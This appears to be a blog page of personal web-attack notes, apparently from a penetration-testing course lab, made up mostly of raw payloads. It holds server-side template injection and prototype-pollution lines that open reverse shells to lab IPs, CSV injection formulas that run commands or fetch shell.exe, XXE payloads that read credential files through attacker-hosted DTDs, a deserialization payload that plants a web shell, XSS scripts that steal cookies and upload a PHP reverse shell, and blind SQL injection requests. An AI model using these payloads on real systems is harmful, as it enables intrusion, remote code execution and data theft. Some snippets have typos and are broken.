Web Attack Notes

Web App Attack

Server-Side Template Injection

{{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]

{{7*7}}         

${7*7}     

<%= 7*7 %>

Welcome to #{process.mainModule.constructor._load(Buffer.from("Y2hpbGRfcHJvY2Vzcw==", 'base64').toString('ascii')).exec('nc -c sh 192.168.119.184 4469')}

A certificate is self-signed if the subject and issuer match.


CSV Injection

=cmd|' /C calc'!A0
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1


-2+3+cmd|'/C explorer http://www.google.com'!'A1'

And the following one which will take data from cells c1 and c20 and send it to a server/port under your control:

=HYPERLINK("http://targetIP:targetPort?leak="&C1&C20, "Click for additional information")

(Although that one would require the user to click the link!)
=WEBSERVICE(CONCATENATE("http://127.0.0.1:8080/?leak=", A5))

XXE

<!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "http://f7n6kbrgtp83hw5heh3msqev8mec21.burpcollaborator.net"> ]>

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///home/student/crx/apache-tomee-plus-7.0.5/conf/tomcat-users.xml" >
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.119.129/wrapper.dtd" >
%dtd;
]>
<org.opencrx.kernel.account1.Contact>
  <lastName>&wrapper;</lastName>
  <firstName>Tom</firstName>
</org.opencrx.kernel.account1.Contact>

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://192.168.119.133/exploit2.dtd">
<foo>&attack;</foo>

<?xml version="1.0"?>
<!DOCTYPE title SYSTEM "http://192.168.119.133/exploit2.dtd">
<database><questions><question><title>&attack;</title><description>poop</description><ownerId>2</ownerId><categoryId>1</categoryId><created>2022-06-12</created><needsMod>true</needsMod><isActive>true</isActive></question></questions></database>

<?xml version="1.0"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///home/student/adminkey.txt”> ]>
<database><questions><question><title>&ent;</title><description>poop</description><ownerId>2</ownerId><categoryId>1</categoryId><created>2022-06-12</created><needsMod>true</needsMod><isActive>true</isActive></question></questions></database>

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///home/student/adminkey.txt"> ]>
<database>
<users>
<user>
<id>13</id>
<username>poop</username>
<password>oxloQ7JK1hmHw9FF8tai1n5TolY=</password>
<isAdmin>true</isAdmin>
<isMod>true</isMod>
<email>&ent;</email>
</user>
</users>
</database>

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///home/student/crx/apache-tomee-plus-7.0.5/conf/tomcat-users.xml" >
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.119.129/wrapper.dtd" >
%dtd;
]>
<org.opencrx.kernel.account1.Contact>
  <lastName>&wrapper;</lastName>
  <firstName>Tom</firstName>
</org.opencrx.kernel.account1.Contact>


<profile><item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils, DotNetNuke, Version=9.1.0.367, Culture=neutral, PublicKeyToken=null],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrmUtilsObjectDataProvapperOfFileSysteider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ProjectedProperty0><ObjectInstance xsi:type="FileSystemUtils" />
<MethodName>PullFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">http://192.168.119.154/cmdasp.aspx</anyType>
<anyType xsi:type="xsd:string">C:/inetpub/wwwroot/dotnetnuke/cmdasp.aspx</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://192.168.119.133/exploit2.dtd">
<foo>&attack;</foo>

<?xml version="1.0" ?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY lastname SYSTEN “file:///etc/passwd”>
]>
<org.opencrx.kernel.account1Contact>
	<lastName>&lastname;</lastname>
	<firstName>Tom</firstName>
</org.opencrx.kernel.account1.Contact>	

Password Tests

  • .भारत (used for websites in India)
  • .网络 (the .NET equivalent in China)
  • .קום (the .COM equivalent in Hebrew)
  • .இந்தியா (meaning ‘Tamil’ for India, which is a language spoken in parts of India)
1234 😀!@SomeLongPasswordPast64CharactersForTestingAuthenticationLength

😀 Password1!

極Password1!

भारत网络קוםஇந்தியா

😀極भारत 网络קוםஇந்தியா

64 with everything…

1234 😀!@SomeLongPasswordPaभारत网络קוםஇந்தியாstuthenticationLength2014

Insufficient Input Validation

<script>alert(1)</script>#$%😀極भारत 网络קוםஇந்தியா^&*!();@\;':"-=_+€ƒ‡†‰ŒœžŸ•™

JavaScript Unicode Values

<!DOCTYPE html>
<html>
<body>

<h1>JavaScript Strings</h1>
<h2>The String.fromCharCode() Method</h2>

<p>String.charCodeAt() converts a chracter into its Unicode value.</p>

<p id="toCharCode"></p>
<br />
<p id="fromCharCode"></p>

<script>
let text = "document.location='http://192.168.119.125/x.js'";
let charCode = '';
let i = 0;
while (i < text.length) {
  charCode += text.charCodeAt(i);
  charCode += ','
  i++;
}
charCode = charCode.slice(0, -1);
document.getElementById("toCharCode").innerHTML = charCode; 


let fromText = String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,49,57,46,50,50,54,47,99,46,106,115,47,62,39,41);
document.getElementById("fromCharCode").innerHTML = fromText;

// l<script>eval(String.fromCharCode(13,15,15,51,57,45,23,87))</script

</script>

</body>
</html>

PostgreSQL

# Blind time-based check if current user is a superuser
select case when (select current_setting($$is_superuser$$))=$$on$$ then pg_sleep(5) end;

Prototype Pollution

console.log(process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/192.168.119.207/4469 0>&1\"').toString())

ref.constructor.constructor('return util')().exec('id > pooping');

XSS

<script>var p=r(); function r(){var g=0;var x=false;var x=z(document.forms);g=g+1;var w=window.frames;for(var k=0;k<w.length;k++) {var x = ((x) || (z(w[k].document.forms)));g=g+1;}if (!x) alert('Password not found in ' + g + ' forms');}function z(f){var b=false;for(var i=0;i<f.length;i++) {var e=f[i].elements;for(var j=0;j<e.length;j++) {if (h(e[j])) {b=true}}}return b;}function h(ej){var s='';if (ej.type=='password'){s=ej.value;if (s!=''){prompt('Password found ', s)}else{alert('Password is blank')}return true;}}</script>

<script type="text/javascript"> 
document.write("<iframe src='https://bsigroup.com?cookie="+document.cookie+"'></iframe>");
</script>

<script type="text/javascript">
var target = document.location.host;

function pwnSettings_tmpFolderBaseName(){
        var xhttp = new XMLHttpRequest();
        xhttp.open("POST", "http://" + target + "/index.php/admin/settings/globalsave", true);
        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhttp.send("save=1%fields[sql_user]=root&fields[tmpFolderBaseName]=");
}

function uploadAllTheThings(){
        //embed the reverse shell 
        var phpKode = "<?php $ip=$_GET['ip']; $port=$_GET['port']; $string = \"/bin/bash -c 'base -i >& /dev/tcp/\".$ip.\"/\".$port.\" 0>&1'\"; exec($string); ?>";
        var fileSize = phpKode.length;
        var boundary = "--------------------270883142628617";
        var url = "http://" + target + "/index.php/mail/composemessage/addattachment/composeID/";
        xhr = new XMLHttpRequest();
        xhr.open("POST", url, true);
        xhr.setRequestHeader("Content-Type", "multipart/form-data: boundary=" + boundary);
        xhr.withCredentials = "true";
        var body = "";
        body += 'Content-Disposition: form-data; name="newAttachment"; filename="revShell.php"\r\n';
        body += 'Content-Type: \r\n\r\n";
        body += phpKode + "\r\n";
        body += "--" + boundary + "--";
        xhr.send(body);
        return true;
}

pwnSettings_tmpFolderBaseName();
setTimeout(uploadAllTheThings, 1000);

// then go to http://atmail/a/d/adminlocal/--revShell.php
</script>

<script type="text/javascript"> 

</script>

Cross-Origin Resource Sharing Test

python3 -m http.server

curl http://127.0.0.1:8000/corsTest.html
<html>
<head>
  <meta charset="UTF-8">
  <script>
    var host = "https://some.host";

    function makeRequest(method, resource) {
      var xhttp = new XMLHttpRequest();
      var url = host + resource; 
      
      xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4 && xhttp.status == 200) {
          document.getElementById("output").innerHTML = xhttp.responseText;
        }
      }

      xhttp.open(method, url, true);
      xhttp.withCredentials = true;
      xhttp.setRequestHeader("Origin", "localhost")
      xhttp.setRequestHeader("Host", host)
      xhttp.send();
    }
  </script>
</head>
<body>
<h1>Cross Origin Resource Sharing</h1>
<script>
  makeRequest("GET", "/some/resource");
</script>
<p id="output" style="font-family: Courier New, monospace;"></p>
</body>
</html>
<html>
<head>
  <meta charset="UTF-8">
  <script>
    var host = "https://testing.io";

    function makeRequest(method, resource) {
      var xhttp = new XMLHttpRequest();
      var url = host + resource; 
      
      xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4 && xhttp.status == 200) {
          document.getElementById("output").innerHTML = xhttp.responseText;
        }
      }

      xhttp.open(method, url, true);
      xhttp.withCredentials = true;
      xhttp.setRequestHeader("Origin", "localhost”);
      xhttp.setRequestHeader("Host", host);
		   xhttp.setRequestHeader('Authorization','Basic eyJhbGciOiJSUzI1NiIsInR5cCIJhZjY2ZTkyNS0yOGU2LTQ3OTMtOTZ');
      xhttp.send();
    }
  </script>
</head>
<body>
<h1>Cross Origin Resource Sharing</h1>
<script>
  makeRequest("GET", "/gateway/v1/gateways/WEPAY/providers/TB_CHASE/transactions?processingState[0]=INITIATED&processingState[1]=COMPLETED&startTimestamp=1585749399&authorizationState[0]=INITIATED");
</script>
<p id="output" style="font-family: Courier New, monospace;"></p>
</body>
</html>

SQLi Examples

GET /servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;create+temp+table+awae+(content+text);copy+awae+from+$$c:\awae.txt$$;select+case+when(ascii(substr((select+content+from+awae),1,1))=104)+then+pg_sleep(10)+end;--+ HTTP/1.0

GET /class/mods/_standard/social/index_public.php?q=test%27)/**/or/**/((char_length((select/**/version()))))=§15§%23

GET /class/mods/_standard/social/index_public.php?q=test%27)/**/or/**/(ascii(substring((select/**/user()),15,1)))=§53§%23 

GET /class/mods/_standard/social/index_public.php?q=test%27)/**/or/**/(ascii(substring((select/**/privilege_type/**/from/**/information_schema.user_privileges/**/where/**/grantee/**/=/**/"'root'@'localhost'"/**/order/**/by/**/privilege_type/**/limit/**/1),1,1)))=§53§%23

Kill Chain

Set up a quick local web server to host the malicious JavaScript file.

sudo python3 -m http.server 80

If Python version returned above is 3.X

python3 -m http.server

If Python version returned above is 2.X

python2 -m SimpleHTTPServer

Then have use a XSS vulnerability on the Target web app to load a JavaScript file on the local Attacker’s box with the following contents:

// creates attachment that can then be hit on server giving reverse shell
// visit this site after vicitim opens email
// http://atmail/a/d/adminoffseclocal/false--test.php

function read_body(xhr) {
   var data;
   if (!xhr.responseType || xhr.responseType === "text") {
       data = xhr.responseText;
   } else if (xhr.responseType === "document") {
       data = xhr.responseXML;
   } else if (xhr.responseType === "json") {
       data = xhr.responseJSON;
   } else {
       data = xhr.response;
   }
   return data;
}

async function create_attachment()
{
    var uri ="/index.php/mail/composemessage/addattachment/composeID/";
    var rceString = "<h1>Hello World</h1><?php phpinfo(); ?>";
    var blobData = new Blob([rceString]);
    var fileData = new File([blobData], "test.php", {type: false});
    var formData = new FormData();
    formData.append("newAttachment", fileData, "test.php");

    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
       if (xhr.readyState == XMLHttpRequest.DONE) {
          console.log(read_body(xhr));
       }
    }
    xhr.open("POST", uri, true);
    xhr.send(formData);
    
    await new Promise(r => setTimeout(r, 2000));
   
    var xhr2 = new XMLHttpRequest();
    xhr2.onreadystatechange = function() {
       if (xhr2.readyState == XMLHttpRequest.DONE) {
         console.log(read_body(xhr2));
       }
    }
    uri = "/a/d/adminoffseclocal/false--test.php";
    xhr2.open("GET", uri, true);
    xhr2.send(null);
    
}
create_attachment();

XXE with DTD

Spin up a local webserver to host the file, wrapper.dtd, with the following contents:

<!ENTITY wrapper “%start;%file;%end;”>

Then we can use the following XXE payload:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///home/student/crx/apache-tomee-plus-7.0.5/conf/tomcat-users.xml" >         
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.119.120/wrapper.dtd" >
%dtd;
]>
<org.opencrx.kernel.account1.Contact>
  <lastName>&wrapper;</lastName>
  <firstName>Tom</firstName>
</org.opencrx.kernel.account1.Contact>

This will concatentate the string for opening the CDATA, the file contents parsed as a single full string ( to minimize errors ),and then the CDATA closing tag.

The result will give us the full contents of the tomcat-users.xml file. Instead of tomcat-users.xml, we could enumerate directories and list contents:

<!ENTITY % file SYSTEM “file:///home/student/crx” >

<!ENTITY % file SYSTEM “file:///homt/student/data/hsqldb/dbmanager.sh” >

Leave a Reply

Your email address will not be published. Required fields are marked *